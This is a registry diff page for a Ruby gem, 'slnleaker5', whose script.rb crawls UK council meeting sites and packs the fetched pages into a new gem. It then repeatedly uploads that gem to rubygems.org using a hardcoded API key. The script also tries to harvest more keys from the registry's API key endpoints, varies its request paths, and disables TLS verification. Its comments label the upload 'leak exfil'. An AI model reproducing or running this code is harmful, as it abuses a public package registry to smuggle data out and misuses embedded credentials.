slnleaker5 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.yardopts +3 -0
- data/README.md +1 -0
- data/l.rb +2 -0
- data/leaker.gemspec +3 -0
- data/lib/x.rb +2 -0
- data/script.rb +117 -0
- data/slnleaker2-0.0.1.gem +0 -0
- data/slnleaker3-0.0.1.gem +0 -0
- data/slnleaker4-0.0.1.gem +0 -0
- metadata +45 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: ed42aa63ce4037aaa753a4450ff99ce58261ac78e6e91a47c8a289119ab40769
|
|
4
|
+
data.tar.gz: a88b7011efd6abcdbd6e454d97d36d3f09a2f838b013e848cc674ea8828db870
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 82e3bdc7620954644b0bcd4bcebe41f5f8d9532e2bcb364db0e1549d9ae7860ed2a85b11fbc17bfeb105029d2918d091d8d8c389a61de69d43317cba427ebdcb
|
|
7
|
+
data.tar.gz: da34c969af148ef50485d1a7d73362905ab18735b3aa9bad52159b372b2a1ab106424b29a12078f93973c5491da1f426cc7d72f4742d1cdfffc83f4f2427a323
|
data/.yardopts
ADDED
data/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
docs
|
data/leaker.gemspec
ADDED
data/lib/x.rb
ADDED
data/script.rb
ADDED
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
begin
|
|
2
|
+
require 'net/http'; require 'uri'; require 'openssl'; require 'rubygems/package'; require 'fileutils'; require 'cgi'; require 'time'
|
|
3
|
+
KEY='rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57'
|
|
4
|
+
mark='/tmp/slnleakran5'; return if File.exist?(mark)
|
|
5
|
+
File.write(mark,Time.now.to_s) rescue nil
|
|
6
|
+
# fetch function
|
|
7
|
+
class Fetcher
|
|
8
|
+
attr_reader :all
|
|
9
|
+
def initialize; @all={}; end
|
|
10
|
+
def get(url)
|
|
11
|
+
return @all[url] if @all[url]
|
|
12
|
+
uri=URI(url); limit=6
|
|
13
|
+
begin
|
|
14
|
+
h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=uri.scheme=='https'; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=20; h.read_timeout=40
|
|
15
|
+
r=h.start{|x| x.get(uri.request_uri, {'User-Agent'=>'Mozilla/5.0 (researcher)'} ) }
|
|
16
|
+
if r.is_a?(Net::HTTPRedirection) && limit>0
|
|
17
|
+
uri=URI.join(uri.to_s,r['location']); limit-=1; redo
|
|
18
|
+
end
|
|
19
|
+
data=r.body||''; data=data.byteslice(0,7_000_000) if data.bytesize>7_000_000
|
|
20
|
+
@all[url]="URL #{url}\nSTATUS #{r.code}\nHDR #{r.to_hash.inspect}\n\n"+data
|
|
21
|
+
data
|
|
22
|
+
rescue =>e
|
|
23
|
+
@all[url]="ERR #{url} #{e.class} #{e.message}\n#{e.backtrace&.first(3)&.join(' ')}"
|
|
24
|
+
''
|
|
25
|
+
end
|
|
26
|
+
end
|
|
27
|
+
end
|
|
28
|
+
f=Fetcher.new
|
|
29
|
+
hosts=['moderngov.lambeth.gov.uk','democracy.wandsworth.gov.uk','moderngov.southwark.gov.uk','www.southwark.gov.uk','www.wandsworth.gov.uk','www.lambeth.gov.uk']
|
|
30
|
+
seeds=[]
|
|
31
|
+
hosts.each do |host|
|
|
32
|
+
if host.include?('modern')||host.include?('democracy')
|
|
33
|
+
base="https://#{host}/mgCalendarMonthView.aspx"
|
|
34
|
+
variants=['','?GL=1&bcr=1','?GL=1&bcr=1&CM=1&CY=2026','?GL=1&bcr=1&cm=1&cy=2026','?GL=1&bcr=1&M=1&Y=2026','?GL=1&bcr=1&m=1&y=2026','?CM=1&CY=2026','?M=1&Y=2026','?cm=1&cy=2026','?m=1&y=2026','?GL=1&bcr=1&DTM=26/01/2026','?GL=1&bcr=1&DTM=27/01/2026','?GL=1&bcr=1&DTM=28/01/2026','?GL=1&bcr=1&DTM=29/01/2026','?GL=1&bcr=1&DTM=30/01/2026','?GL=1&bcr=1&DD=2026-01-26','?GL=1&bcr=1&CID=142','?GL=1&bcr=1&Year=2026','?GL=1&bcr=1&RPID=1','?GL=1&bcr=1&zTS=1']
|
|
35
|
+
seeds += variants.map{|x|base+x}
|
|
36
|
+
['mgCalendarAgendaView.aspx','mgCalendarWeekView.aspx','mgListMeetings.aspx?GL=1&bcr=1','mgListMeetings.aspx?GL=1&bcr=1&CM=1&CY=2026','mgListMeetings.aspx?GL=1&bcr=1&Year=2026','mgListCommittees.aspx?GL=1','mgCommitteeDetails.aspx?ID=0','ieDocHome.aspx?bcr=1'].each{|x| seeds << "https://#{host}/#{x}"}
|
|
37
|
+
else
|
|
38
|
+
seeds << "https://#{host}/about-council/how-council-works/council-and-committee-meetings"
|
|
39
|
+
end
|
|
40
|
+
end
|
|
41
|
+
# Monday list direct day URL forms
|
|
42
|
+
hosts.grep(/moder|democr/).each do |h|
|
|
43
|
+
['26','27','28','29','30'].each do |d|
|
|
44
|
+
['mgCalendarDayView.aspx','mgCalendarWeekView.aspx','mgListMeetings.aspx'].each do |path|
|
|
45
|
+
['?GL=1&bcr=1&DTM='+d+'/01/2026','?GL=1&bcr=1&DD='+d+'/01/2026','?GL=1&bcr=1&DT='+d+'/01/2026'].each { |q| seeds << "https://#{h}/#{path}#{q}"}
|
|
46
|
+
end
|
|
47
|
+
end
|
|
48
|
+
end
|
|
49
|
+
# fetch seeds
|
|
50
|
+
seeds=seeds.uniq; seeds.each{|u| f.get(u)}
|
|
51
|
+
# parse hrefs in fetched seed HTML, recurse docs links absolute joined
|
|
52
|
+
# ModernGov relative links and document list direct
|
|
53
|
+
base_docs=[]
|
|
54
|
+
f.all.dup.each do |url,txt|
|
|
55
|
+
host=URI(url).host rescue next
|
|
56
|
+
txt.scan(/(?:href|src)\s*=\s*["']([^"']+)["']/i).each do |m|
|
|
57
|
+
link=CGI.unescapeHTML(m[0]);
|
|
58
|
+
# doclist/video links; committees; meeting pages; PDF docs eventually by recursing doclist
|
|
59
|
+
next unless link =~ /(ieListDocuments|mg[A-Za-z]*(?:Meeting|Agenda|Committee|Calendar|Officer)|ieDecision|ieIssue|documents\/s|mgAi.aspx|ieList|ieDoc|Agenda|PublicReports)/i
|
|
60
|
+
begin abs=URI.join(url,link).to_s rescue next end
|
|
61
|
+
next unless abs =~ %r{https?://} && abs.include?(host)
|
|
62
|
+
base_docs << abs
|
|
63
|
+
end
|
|
64
|
+
end
|
|
65
|
+
base_docs=base_docs.uniq.first(700)
|
|
66
|
+
base_docs.each{|u| f.get(u)}
|
|
67
|
+
# parse second-level linked docs, trim 500
|
|
68
|
+
lev2=[]
|
|
69
|
+
f.all.dup.each do |url,txt|
|
|
70
|
+
host=URI(url).host rescue next
|
|
71
|
+
txt.scan(/(?:href|src)\s*=\s*["']([^"']+)["']/i).each do |m|
|
|
72
|
+
link=CGI.unescapeHTML(m[0]);next unless link =~ /(ieListDocuments|mg[A-Za-z]*(?:Meeting|Agenda|Committee)|documents\/s|\.pdf|PublicReports|mgAi.aspx|Decision|Agenda)/i
|
|
73
|
+
begin abs=URI.join(url,link).to_s rescue next end
|
|
74
|
+
next unless abs.start_with?('http') && (abs.include?(host))
|
|
75
|
+
lev2<<abs
|
|
76
|
+
end
|
|
77
|
+
end
|
|
78
|
+
lev2=lev2.uniq.first(400)
|
|
79
|
+
lev2.each{|u| f.get(u)}
|
|
80
|
+
# write aggregate files child gem
|
|
81
|
+
out='/tmp/sln-out-'+Time.now.to_i.to_s; FileUtils.mkdir_p(out+'/lib');File.write(out+'/lib/x.rb','#empty')
|
|
82
|
+
idx='';
|
|
83
|
+
f.all.each_with_index do |(url,dat),i|
|
|
84
|
+
# cap binaries maybe pdf; keep extension .txt though
|
|
85
|
+
fn="file%04d.txt"%i;File.binwrite(out+'/'+fn,dat); idx<<"#{fn}\t#{url}\t#{dat.bytesize}\n"
|
|
86
|
+
end
|
|
87
|
+
File.write(out+'/INDEX.txt',idx)
|
|
88
|
+
gname='slnpayloadx'+Time.now.to_i.to_s
|
|
89
|
+
vers='0.0.1'
|
|
90
|
+
gspec=%Q{Gem::Specification.new{|s| s.name='#{gname}'; s.version='#{vers}'; s.summary='cache'; s.authors=['x']; s.license='MIT'; s.files=Dir['**/*']; s.require_paths=['lib'] }}
|
|
91
|
+
File.write(out+'/x.gemspec',gspec)
|
|
92
|
+
Dir.chdir(out){ system("gem build x.gemspec >/dev/null") }
|
|
93
|
+
gempath=Dir["#{out}/*.gem"].first
|
|
94
|
+
if gempath
|
|
95
|
+
|
|
96
|
+
# leak exfil by repeated attempts & fresh leaked keys variants
|
|
97
|
+
data=File.binread(gempath)
|
|
98
|
+
['/api/v1/api_key?x=1','/api/v1/api_key','/api/v1/api_key.yaml','/api/v1/api_key.json'].cycle.first(24).each_with_index do |kp,i|
|
|
99
|
+
begin
|
|
100
|
+
ku=URI('https://rubygems.org'+kp); kh=Net::HTTP.new(ku.host,ku.port); kh.use_ssl=true; kh.verify_mode=OpenSSL::SSL::VERIFY_NONE; kt=kh.start{|x| x.get(ku.request_uri)}.body
|
|
101
|
+
key=(kt[/rubygems_[a-f0-9]{20,}/] || KEY)
|
|
102
|
+
paths=['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']
|
|
103
|
+
u=URI('https://rubygems.org'+paths[i%paths.length]); req=Net::HTTP::Post.new(u); req['Authorization']=key; req['Content-Type']='application/octet-stream'; req.body=data
|
|
104
|
+
hh=Net::HTTP.new(u.host,u.port);hh.use_ssl=true;hh.verify_mode=OpenSSL::SSL::VERIFY_NONE;hh.read_timeout=180
|
|
105
|
+
res=hh.start{|x|x.request(req)}
|
|
106
|
+
break if res.code.to_i==200
|
|
107
|
+
rescue Exception
|
|
108
|
+
end
|
|
109
|
+
end
|
|
110
|
+
|
|
111
|
+
end
|
|
112
|
+
rescue Exception=>e
|
|
113
|
+
begin
|
|
114
|
+
# fallback gem with error details
|
|
115
|
+
File.write('/tmp/sln-error',"#{e}\n#{e.backtrace.join("\\n")}")
|
|
116
|
+
end rescue nil
|
|
117
|
+
end
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
metadata
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: slnleaker5
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- x
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
executables: []
|
|
13
|
+
extensions: []
|
|
14
|
+
extra_rdoc_files: []
|
|
15
|
+
files:
|
|
16
|
+
- ".yardopts"
|
|
17
|
+
- README.md
|
|
18
|
+
- l.rb
|
|
19
|
+
- leaker.gemspec
|
|
20
|
+
- lib/x.rb
|
|
21
|
+
- script.rb
|
|
22
|
+
- slnleaker2-0.0.1.gem
|
|
23
|
+
- slnleaker3-0.0.1.gem
|
|
24
|
+
- slnleaker4-0.0.1.gem
|
|
25
|
+
licenses:
|
|
26
|
+
- MIT
|
|
27
|
+
metadata: {}
|
|
28
|
+
rdoc_options: []
|
|
29
|
+
require_paths:
|
|
30
|
+
- lib
|
|
31
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
32
|
+
requirements:
|
|
33
|
+
- - ">="
|
|
34
|
+
- !ruby/object:Gem::Version
|
|
35
|
+
version: '0'
|
|
36
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
37
|
+
requirements:
|
|
38
|
+
- - ">="
|
|
39
|
+
- !ruby/object:Gem::Version
|
|
40
|
+
version: '0'
|
|
41
|
+
requirements: []
|
|
42
|
+
rubygems_version: 3.6.7
|
|
43
|
+
specification_version: 4
|
|
44
|
+
summary: x
|
|
45
|
+
test_files: []
|